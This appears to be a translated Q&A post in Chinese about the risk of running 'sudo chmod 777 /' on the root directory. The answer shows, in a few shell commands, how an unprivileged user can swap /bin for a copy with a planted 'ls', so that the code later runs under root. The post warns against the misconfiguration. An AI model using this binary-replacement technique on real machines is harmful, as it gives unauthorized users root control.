即,sudo chmod /
,不是sudo chmod -r /
。
攻击者可以访问什么?对于个人计算机来说,这没问题吗?
答案1
攻击者(非特权用户)能够在根目录中创建新的目录和文件,并改名任何现有目录/
(例如,随机值会有效地导致机器无法使用)。
结合起来,它允许非特权用户代替具有自己内容的现有目录。思考/bin
。首先:
sudo chmod 777 /
现在攻击者(非特权用户)部分:
cp -r /bin /newbin
echo "echo boo running my own code as 'whoami'" > /newbin/ls
chmod +x /newbin/ls
mv /bin /oldbin
/oldbin/mv /newbin /bin
现在检查一下:
sudo -i
ls
这实际上为攻击者提供了一种控制机器的简单方法。